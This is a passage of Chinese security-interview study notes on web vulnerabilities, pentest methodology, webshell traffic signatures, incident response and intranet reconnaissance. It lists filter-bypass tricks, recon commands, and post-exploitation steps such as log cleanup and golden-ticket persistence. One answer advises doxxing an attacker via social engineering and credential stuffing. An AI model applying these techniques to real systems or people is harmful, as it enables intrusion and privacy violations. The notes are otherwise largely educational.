  • 利用:受害者必须依次完成两个步骤,登陆受信任网站A,并在本地生成cookie,在不登出A的情况下,访问危险网站B
  • 防御:加token或者验证码;尽量使用POST,限制GET;

SSRF服务端请求伪造

  • 原理:利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。

    • 常出现在:1.能够对外发起网络请求的地方 2.请求远程服务器资源的地方 3.数据库内置功能 4.邮件系统 5.文件处理 6.在线处理工具

    • 协议:

      1
      2
      3
      4
      file:在有回显的情况下,利用 file 协议可以读取任意内容
      dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
      gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
      http/s:探测内网主机存活
    • 引发ssrf漏洞的PHP函数
      file_get_contents:文件写入字符串,当url是内网文件的时候,会先去把这个文件的内容读出来再写入,导致了文件读取。
      fsockopen(主机名称,端口号码,错误号的接受变量,错误提示的接受变量,超时时间)
      curl_exec():执行一个curl会话

    • 绕过:
      利用@:http://example@127.0.0.1。例如:http://www.baidu.com@10.10.10.10与http://10.10.10.10 请求是相同的
      添加端口号:http://127.0.0.1:8080
      利用短地址:http://dwz.cn/11SMa
      ip 地址进制转换
      DNS解析 http://127.0.0.1.xip.io/可以指向任意ip的域名:xip.io

    • 利用:利用伪协议对内网信息进行探测

      • 具体利用的方式: file协议查看文件、dict协议探测端口、ophergopher协议 支持GET&POST请求,同时在攻击内网ftp、redis、telnet、Memcache上有极大作用。利用 gopher协议访问redis反弹shell
    • 防御:禁止跳转;禁用不需要的协议;黑名单内网ip

补充xss、csrf、ssrf区别:

  • xss与csrf区别

    1
    2
    XSS:跨站脚本攻击;利用站点内的信任用户盗取cookie 
    CSRF:跨站请求伪造攻击;通过伪装成信任用户请求信任的网站
  • CSRF与SSRF区别

    1
    2
    3
    CSRF(跨站/客户端请求伪造) => 浏览器因为JS偷偷发送数据包 
    SSRF(服务器端请求伪造)=> 服务器因为你传的参数偷偷发送数据包
    C or S => C客户端(client)s服务端(server)

文件上传

  • 原理(官方语言):由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件,并通过此脚本文件获得了执行服务端命令的能力。

  • 服务器解析漏洞

    • apache:

      1
      2
      绕过程序检测:当碰到不认识的扩展名时,将会从后向前解析,直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码。 
      在上传文件时,判断文件名是否是PHP,ASP,ASPX,ASA,CER等脚本扩展名,如果是,则不允许上传,这是可以构造类似1.php.rar等扩展名绕过程序检测,并配合解析漏洞获取webshell
      • iis

        1
        当建*.asa ,*.asp,*.cer格式的文件夹时,其目录下的任何扩展名的文件都将被IIS当做asp文件进行解析

        当文件为*.asp;1.jpg时,IIS会以asp脚本来执行

      • nginx

        1
        原理:Nginx实际上是PHP CGI解析漏洞,在PHP配置文件中有一个关键选项cgi.fi:x_pathinfo,一般是默认开启的,        所以**解析到不存在的文件时,PHP会向前递归解析,于是造成了解析漏洞。**

        攻击者可以上传木马文件,然后在URL后面加上xxx.php(可随便命名),就可以获得网站的webshell。比如访问

        http://www.xxx.com/1.jpg/1.php,此时1.jpg会被当做php脚本来解析,这里的1.php是不存在的。

  • 绕过方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    1.黑名单       
    a.后缀名不完整 .php5 .phtml等
    b. .htacess
    c.大小写
    d.在数据包中 后文件缀名前加空格
    e.后缀名前加
    f.加上::$DATA
    g.未循环验证,可以使用x.php..类似的方法
    2.白名单:%00截断,图片马,条件竞争
  • 防御:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    1.后端验证:采用服务端验证模式 
    2.后缀验证:基于白名单,黑名单过滤
    3.MIME验证:基于上传自带类型艰检测
    4.内容检测:文件头,完整性检测
    5.自带函数过滤
    6.WAF防护软件:宝塔、云盾等
    将上传文件与web服务隔离
    白名单过滤、限制上传文件类型
    文件上传路径设置为不可执行权限
    检查文件上传路径
    自带函数检测
    自定义函数检测
    图片渲染
    对上传文件重命名
    对文件内容压缩,重新生成文件内容
    检查文件内容

文件包含

  • 原理:程序员开发的时候没有对包含的文件进行严格的过滤,攻击者可以构造自己的图片木马文件当做PHP执行

  • 常见包含函数:

    1
    2
    3
    4
    require():找不到被包含的文件时会产生致命错误,并停止脚本运行。  
    require_once():找不到被包含的文件时会产生致命错误,并停止脚本运行。如果该文件中的代码已经被包含,则不会再次包含,即程序只调用一次。
    include():找不到被包含的文件时只会产生警告,脚本将继续运行。
    include_once():找不到被包含的文件时只会产生警告,脚本将继续运行。如果该文件中的代码已经被包含,则不会再次包含,即程序只调用一次。
    • PHP封装协议:
      file:// — 访问本地文件系统
      http:// — 访问 HTTP(s) 网址
      ftp:// — 访问 FTP(s) URLs
      php:// — 访问各个输入/输出流(I/O streams)
      zlib:// — 压缩流
      data:// — 数据(RFC 2397)
      glob:// — 查找匹配的文件路径模式
      phar:// — PHP 归档
      ssh2:// — Secure Shell 2
      rar:// — RAR
      ogg:// — 音频流
      expect:// — 处理交互式的流
    • 利用:
      利用…/ 目录遍历
      利用解析漏洞结合文件上传 绕过waf获取webshell
      利用PHP封装协议 读取php文件源码
    • 防御
      PHP中使用open_basedir限制访问在指定的目录区域
      过滤 点 . 反斜杠 / \,防止跨目录
      禁止服务器远程文件包含
      尽量不要使用动态包含,可以在需要包含的页面固定写好
    • 危害:敏感信息泄露(任何文件读取);PHP伪协议,文件包含读源码,命令执行;配合图片马获取webshell

PHP序列化与反序列化

  • 原理:(在变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行)未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动融发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

  • 序列化函数 :serialize():将对象转换成字符串

  • 反序列化函数:unserialize():将字符串转换成对象

  • 魔术方法(文件中存在可利用的类,类中有魔术方法)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    __wakeup() //使用unserialize时触发 
    __sleep() //使用serialize时触发
    __construct() //创建对象时触发
    __destruct() //对象被销毁时触发
    __call() //在对象上下文中调用不可访问的方法时触发
    __callStatic() //在静态上下文中调用不可访问的方法时触发
    __get() //用于从不可访问的属性读取数据
    __set() //用于将数据写入不可访问的属性
    __isset() //在不可访问的属性上调用isset()或empty()触发
    __unset() //在不可访问的属性上使用unset()时触发
    __toString() //把类当作字符串使用时触发
    __invoke() //当脚本尝试将对象调用为函数时触发
  • 绕过wakeup的要点是:成员属性数目大于实际数目时可绕过

流量分析(PCAP 文件)

1、大量的404请求:目录扫描
2、大量select *** from:SQL注入
3、连续一个IP的多端口请求或多个IP的几个相同端口:端口扫描
4、爆破账号密码:ip.addr219.239.105.18 and http.request.uri matches “edit|uoload|modify”
5、用菜刀链接的包,post请求 ip.addr219.239.105.18 and htpp.request.method==POST

高危端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
21 FTP 可以爆破,FTP匿名登录,anonymous/anonymous 
22 SSH
23 telnet
80 web
81 web
139/445 IPC,网络共享(MS17-010)
1433 mssql
1521 oracle
3306 mysql
3389 rdp
6379 redis?? Redis未授权访问,因为没有密码导致谁都能进,能造成信息泄露,反弹shell,向服务器写入ssh公钥,直接用私钥连接
7001/7002 weblogic,各种漏洞
8080 Tomcat,PUT上传webshell,但是JSP是被过滤的,可以使用1.jsp%00;后台部署war包;幽灵猫命令执行
8888
50050 cobalt strike的默认开放端口

log4j反序列化

核心原理为,在正常的log处理过程中对**${**这两个紧邻的字符做了检测,一旦匹配到类似 于表达式结构的字符串就会触发替换机制,将表达式的内容替换为表达式解析后的内容,而不 是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行 。
漏洞成因、特征:在打印日志的时候,如果日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行。

安全工具

nmap

1 .-Pn,禁ping扫描,nmap在对主机执行扫描动作之前,会发送一个ICMP包,去探测远程主机是否存活,如果对方有返回的话,nmap才认为这个扫描任务执行是有意义的,并且开始扫描。如果没有返回包,则不执行扫描。如果对方主机设置了禁ping,在不加-Pn的情况下,是不会返回扫描结果的。
2 .-sP,此命令的意义在于是令nmap去用ping命令去探测对方主机的存活情况。如果对方的机器能ping通的话,就告诉我们host is up。不绝对准确,因为可能对方主机设置了禁ping。
3 .-sS,半开放扫描。在TCP协议的三次握手的过程当中。会由客户端向服务端发送SYN包,如果服务器的端口是开放的,服务器则会返回一个SYN包+一个ACK,第三部再由客户端验证服务器的ACK是否正确,如若正确,则发送ACK包到服务器以便完成TCP连接的建立。这种扫描的原理就是客户端只执行第一步,服务端执行第二步,第三步不做了。这种方法的好处是可以规避日志的记录。
4 .-sT,TCP协议三次完全扫描。
5 .-PR,使用ARP协议,进行局域网内主机扫描,这种扫描会令速度更快,并且结果更加准确。
6 .-O,用于探测对方主机的操作系统的。
7 .-p,计算机的端口是有65535个的。如果扫描全端口,则写作-p 1-65535
8 .-T4,默认情况是3。
9 .-P0,用于在禁ping时探测主机存活。

sqlmap获取webshell的参数

sqlmap的–os-shell参数取得shell
**本质:**写入两个 php 文件,其中的一个可以让我们用来执行命令,而另外一个可以让我们可以上传文件。
执行条件有三个 :
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭

渗透思路

goby,扫描工具

可以根据情形定制一些常见端口扫描

不仅可以扫IP ,还可以扫域名

扫描的时候也可以加上 想测试是否存在的 漏洞的 POC

可以自定义暴破字典

最后报告还可以导入导出

渗透测试流程:如果给你一个网站,你的渗透测试思路是什么?/拿到一个待检测的站,你觉得应该先做什么?

信息收集
a、服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)
b、网站指纹识别(包括,cms,cdn,证书等),dns记录
c、whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
e、子域名收集,旁站,C段等
f、google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等
g、扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等
h、传输协议,通用漏洞,exp,github源码等
漏洞挖掘
a、浏览网站,看看网站规模,功能,特点等
b、端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。 c、XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等
漏洞扫描
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
漏洞利用
利用msf,nc一些工具拿shell,或者其他权限
权限提升
a、mysql提权,udf提权,mof提权,serv-u提权,oracle提权
b、windows 溢出提权
c、linux脏牛,内核漏洞提权
日志清理
总结报告及修复方案

搜索引擎

  • fofa语法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    查询指定cms的管理系统:app="cms" 
    domain= 搜索根域名带有xx的网站。例:domain=“baidu.com”
    host=从url中搜索网站注意搜索要用host作为名称。例:host= “.edu.cn”
    port= 查找对应443端口的资产。例:port=3389
    protocol= 搜索制定协议类型(在开启端口扫描的情况下有效)。例:protocol=ssh
    cert=搜索证书(https或者imaps等)中带有域名的资产。例:cert=baidu.com
    banner= 搜索协议中带有账户文本的资产。例:banner=users && protocol=ftp
    type=搜索所有协议资产,支持subdomain和service两种。例:type=servicce
    server== 搜索服务器、中间件名称。例:server=apache
    高级语法需要用管道符连接如: ‘|| ‘ ‘&&’,如下:body=”后台”&&domain=”xxx.com” 查询指定域名的后台
    Header=”Hikvision” 找摄像头
  • 谷歌语法

    1
    2
    3
    4
    5
    6
    7
    8
    | intext     寻找正文中含有关键字的网页 
    | intitle 寻找标题中含有关键字的网页
    | allintitle 用法和intitle类似,只不过可以指定多个词
    | inurl 将返回url中含有关键词的网页
    | allinurl 用法和inurl类似,只不过可以指定多个词,// 所有关键词必须出现在在文本中
    | site 指定访问的站点
    | filetype 指定访问的文件类型
    | cache 显示页面的缓存版本
  • shodan、夸克

  • 钟馗之眼(zoomeye),侧重于web容器,指纹的搜索。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    指纹搜索:例如:php app:dedecms var:5.7。 
    app:组件名称,例如:app:apache。
    ver:组件版本,例如:ver:2.0。
    OS:操作系统,例如:os:window。
    Service:服务名称,例如:service:vpn。
    Cidr:网段,例如:cidr:192.168.1.1/24。
    Devic:设备名,例如:devic:router。
    keyword:关键字查询,例如:keyword:technology。
    尝试弱口令:例如:php app:phpmyadmin。
    搜索摄像设备:1.DVRDVS-Webs,2.JAWS等等。

wireshark简单过滤规则

1
2
3
4
过滤 ip: 过滤源 ip 地址:ip.src==1.1.1.1;,目的 ip 地址:ip.dst==1.1.1.1;   
过滤端口: 过滤 80 端口:tcp.port==80,源端口:tcp.srcport==80,目的端口:tcp.dstport==80
协议过滤: 直接输入协议名即可,如 http 协议 http http
模式过滤: 过滤 get/post 包 http.request.mothod=="GET/POST

菜刀、蚁剑、冰蝎流量特征

菜刀特征

使用了base64的方式加密了发送给“菜刀马”的指令,其中的两个关键payload z1和z2,这 个名字是可变的

蚁剑特征

默认的USER-agent请求头 是 antsword xxx,但是 可以通过修 改:/modules/request.js 文件中 请求UA绕过 其中流量最中明显的特征为@ini_set(“display_errors”,“0”);这段代码基本是所有 WebShell客户端链接PHP类WebShell都有的一种代码 蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x…=”这种形式(下划 线可替换),所以以_0x开头的参数名也很可能就是恶意流量

冰蝎看包没有发现什么特征,但是可以发现它是POST请求的 1、Accept头有application/xhtml+xmlapplication/xmlapplication/signed- exchange属于弱特征(UA头的浏览器版本很老) 2、特征分析Content-Type: application/octet-stream 这是一个强特征查阅资料可 知octet-stream的意思是,只能提交二进制,而且只能提交一个二进制,如果提交文件的 话,只能提交一个文件,后台接收参数只能有一个,而且只能是流(或者字节数组);很少使用

冰蝎2特征: 默认Accept字段的值很特殊,而且每个阶段都一样冰蝎内置了十余种UserAgent ,每次连接 shell 会随机选择一个进行使用。但都是比较老的,r容易被检测到,但是可以在burp中修改 ua头。 Content-Length: 16, 16就是冰蝎2连接的特征

冰蝎3特征: 冰蝎3取消动态密钥获取,目前很多waf等设备都做了冰蝎2的流量特征分析,所以3取消了动态 密 钥获取;php抓包看包没有发现什么特征,但是可以发现它是POST请求的 1)Accept头application/xhtml+xmlapplication/xmlapplication/signed- exchange属于弱特征 2)ua头该特征属于弱特征。通过burp可以修改,冰蝎3.0内置的默认16个userAgent都比较 老。现实生活中很少有人使用,所以这个也可以作为waf规则特征 jsp抓包特征分析Content-Type: application/octet-stream 这是一个强特征查阅 资料可知 octet-stream的意思是,只能提交二进制,而且只能提交一个二进制,如果提交 文件的话,只能提交 一个文件,后台接收参数只能有一个,而且只能是流(或者字节数组); 很少使用。

应急响应

网站被挂马如何应急

1.取证,登录服务器,备份,检查服务器敏感目录,查毒(搜索后门文件-注意文件的时间, 用户,后缀等属性),调取日志(系统,中间件日志,WAF日志等);
2.处理,恢复备份(快照回滚最近一次),确定入侵方法(漏洞检测并进行修复)
3.溯源,查入侵IP,入侵手法(网路攻击事件)的确定等
4.记录,归档--------预防-事件检测-抑制-根除-恢复-跟踪-记录通用漏洞的应对等其他 安全应急事件

入侵排查具体流程

  • 检查系统账号安全

    • 查看服务器是否有弱口令,远程管理端口是否公开
    • 查看服务器是否有可疑账号:cmd输入lusrmgr.msc命令
    • 查看服务器是否存在隐藏账号、克隆账号
    • 结合日志,查看管理员登录时间,用户名是否存在异常
  • 检查异常端口、进程

    • 检查端口连接情况,是否有远程连接、可疑连接:

      • a、netstat -ano 查看目前的网络连接,定位可疑的ESTABLISHED
      • b、根据netstat 定位出的pid,再通过tasklist命令进行进程定位 tasklist | findstr “PID”
  • 检查启动项、计划任务、服务
    - win+r:输入msconfig,查看异常启动项
    - win+r:输入regedit,打开注册表,查看开机启动项

  • 检查系统相关信息
    - win+r:输入systeminfo查看系统信息

  • 日志分析
    - win+r:输入eventvwr.msc,打开事件查看器
    - 导出应用程序日志,安全日志,系统日志,利用log parser分析

如何判断一条威胁情报是否有误

分析流量数据包,可以用wireshark,分析流量是不是正常的业务操作

怎么判断自己被getshell了:用D盾查杀

  • webshell:

    • 查web日志,分析攻击流量
    • 扫webshell
    • 排查网站目录,查看最近更改的文件
  • shell:

  • 查看未知端口,未知进程

  • 排查恶意流量,锁定感染进程

  • 有安全设备就看安全设备

如果一台服务器被入侵后,你会如何做应急响应?

查日志,查服务,查进程,查看是否有可疑登陆,新增账号

内网报警了怎么办?(可能问的方式不一样)

首先就要是地位到具体的那一台机器,既然报警那就说明知道了具体的漏洞类型,加相应的补丁打上,以linux为主(一般都会问linux的),查看/var/log/secure系统日志,查看登录失败的记录,还有Linux历史命令–>home目录的bash_histor,查看执行过的命令。在利用webshell或者是shell查杀工具查杀,查看tmp目录下是非有带有免杀的木马。彻底清除。再到全流量分析的机子上看,是非有经过其他的机器。拿到攻击ip之后到线上的一些网站查看主机类型,比如360或者微步上,查看是非是傀儡机,vps跳板,或者是国内个人云主机。如果是个人云主机,就可以通过whois查看是非有最近绑定的域名,或者绑定者的邮箱。知道邮箱之后就可以反查询出qq号说多少,再利用社工查询到手机号,到一个知名的网站上查询这个手机号有没有注册过什么网站,可以去这些网站通过撞库的方法登入,这样就可以拿到这个攻击者的身份证,学校,地址这些了。
(思路是应急响应->加固->溯源)

被攻击后,日志文件以及木马文件被删除怎样排查

lsof恢复被删除的文件,然后查日志,查服务,查进程,查看是否有新增的账号

安全设备出现报警信息,怎么看是误报还是攻击行为

对报警的数据进行分析,看是不是内部人员的操作,还是真实的攻击

怎么从流量分析是不是误报

分析流量数据包,可以用wireshark,分析流量是不是正常的业务操作

服务中了webshell怎样从日志找webshell位置,被拿shell后怎么应急,怎样快速定位shell

从日志 流量 文件开始,先定位位置 查看敏感目录 tmp usr/sbin etc/ssh ,对新创建文件,修改文件等进行查看,找特殊权限文件 比如777 。流量的话 从ua和playload去分析。比如菜刀连jsp木马:第一个参数是a-q,这个是不会变的,第二个是编码,第三个是 playload。日志的话从找到的shell时间点去关联分析,可以还原攻击手法
快速定位 就是看进程和内存 看占用时间长和占用率高的

设备报警,SQL注入的报警,能看到攻击时间,攻击ip,payload,如何判断是误报还是真是攻击,如果是真实攻击,怎么判断他攻击是否成功,如果成功怎么处理

先看ip,如果ip是公司内部的再看内部人员有没有相关操作,如果不是公司人员业务的操作那就是攻击了,  
然后分析payload,分析它写的payload安全设备能否它进行过滤拦截,如果它确实能绕过,那就应该攻击成功了,  
成功的话赶紧上报,做应急响应,做出相应处理,添加过滤规则,修改数据库中能修改的数据比如管理员账号密码啥的

安全设备部署

WAF

  • 我在自己的服务器上开通过防火墙,使用cname接入的,在控制台添加要防护的网站域名,然后修改dns解析设置把流量解析到waf。

  • ufw(简单防火墙Uncomplicated FireWall)

    • 检查防火墙的状态(默认 inactive) # ufw status
    • 防火墙版本 # ufw version
    • 启动ufw防火墙 # ufw enable
    • 关闭ufw防火墙 # ufw disable
    • 默认禁止访问所有 # ufw default deny
    • 开放22/TCP端口 # ufw allow 22/tcp
    • 开放53端口(tcp/udp) # ufw allow 53
    • 禁止外部访问 # ufw deny 3306
    • 删除已经添加过的规则 # ufw delete allow 22
    • 允许此IP访问所有的本机端口 # ufw allow from 192.168.1.100
    • 删除上面的规则 # ufw delete allow from 192.168.1.100
    • 查看规则,显示行号 # ufw status numbered
    • 删除第三条规则 # ufw delete 3
    • 关闭ufw # ufw disable
    • 禁止对8888端口的访问 # ufw deny 8888
    • 打开来自192.168.0.1的tcp请求的22端口 # ufw allow proto tcp from 192.168.0.1 to any port 22

蜜罐:就是一台全是漏洞的靶机,吸引黑客来进攻蜜罐系统,然后掌握黑客的信息

  • 您刚刚说,您对蜜罐有所了解,您能讲讲你了解的蜜罐是什么?你是否真正参与过蜜罐的部署。

​ 答:搭过微步的Hfish蜜罐

  • 那么如果叫你部署一个蜜罐,你会开放哪些端口,为什么//你认为企业的主机哪些端口存在风险//你认为企业应该注意哪些地方的加固
    • 21端口:FTP文件传输协议端口,用来捕获黑客的FTP爆破行为
    • 22端口:SSH端口 链接Linux主机SSH服务的端口,用来捕获黑客的SSH爆破行为
    • 23端口:Telnet服务,命令执行服务,用来探测黑客对于telnet的爆破
    • 80端口/443端口:WEB服务的端口,用来捕获黑客的WEB攻击行为特征
    • 1521:oracle数据库开放端口,捕获黑客的oracle爆破行为,UDF命令执行等行为
    • 3306:MYSQL端口,用来捕获黑客对于mysql数据库的爆破行为,UDF命令执行等行为
    • 3389:Windows远程桌面端口,用来捕获黑客的爆破行为
    • 6379端口:REDIS端口,捕获黑客REDIS未授权访问的攻击,黑客利用redis写ssh秘钥,写webshell,执行计划任务等的攻击
    • 445端口:SMB服务端口-黑客利用永恒之蓝Enternalblue的攻击行为,黑客的SMB账号爆破(通俗简单理解,爆破windows账号密码)
    • 1433端口:Microsoft SQLserver端口,用来捕获黑客爆破1433端口的行为,并且查看黑客利用sqlserver xp_cmdshell,sp_cmdshell等组件命令执行的操作,存储过程的利用
    • 135、139端口:捕获黑客的利用RPC共享的攻击(当蜜罐部署在内网)
    • 比如在8080端口,部署一个假的vpn页面,吸引黑客攻击

内网渗透

内网渗透流程:

拿到跳板后,先探测一波内网存活主机,用net user /domian命令查看跳板机是否在域内,探测存活主机、提权、提取hash、进行横向移动,定位dc位置,查看是否有能直接提权域管的漏洞,拿到dc控制权后进行提权,然后制作黄金票据做好维权,清理一路过来的日志擦擦脚印

信息收集

  • 主机信息收集

    1.网络配置 ipconfig /all

    2.操作系统 systeminfo | findstr /B /C:“OS 名称” /C:“OS 版本”

    3.软件信息 systeminfo | findstr /B /C:“OS Name” /C:“OS Version”

    4.服务信息 wmic /namespace:\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe

    5.用户列表 net user

    6.本地管理员信息 net localgroup administrators

    7.端口信息 netstat –ano

    8.补丁信息 wmic qfe get Caption,Description,HotFixID,InstalledOn

    9.查防火墙 netsh firewall show config

  • 域内信息收集

    是否有域 使用ipconfig /all命令可以查看网关IP地址、DNS的IP地址以及判断当前主机

    是否在域内:通过反 向解析查询命令nslookup来解析域名的IP地址,使用解析出来的IP地 址进行对比,判断域控制器和 DNS服务器是否在同一台服务器上

    登录域信息 net config workstation 域内信息收集

    ICMP探测内网 for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.174.%I | findstr “TTL=”

    ARP探测内网

    端口信息收集

    查询域信息 net view /domain

    查询域主机 net view /domain:XXX

    查询域用户 net group /domain

    查找域控 Nslookup -type=SRV _ldap._tcp net time /domain net group “Domain Controllers” /domain

    查域用户信息 net user /domain

    查询域管理员 net group “Domain Admins” /domain

    查询域sid信息 whoami /all

  • 内网环境不出网

    1.通过webshell实现内网socket代理

    2.正向链接

    3.ssh隧道

    4.协议不同出网的方式不同,如dns对应dnscat2 tcp对应

    5.测试是否是特定协议或端口出网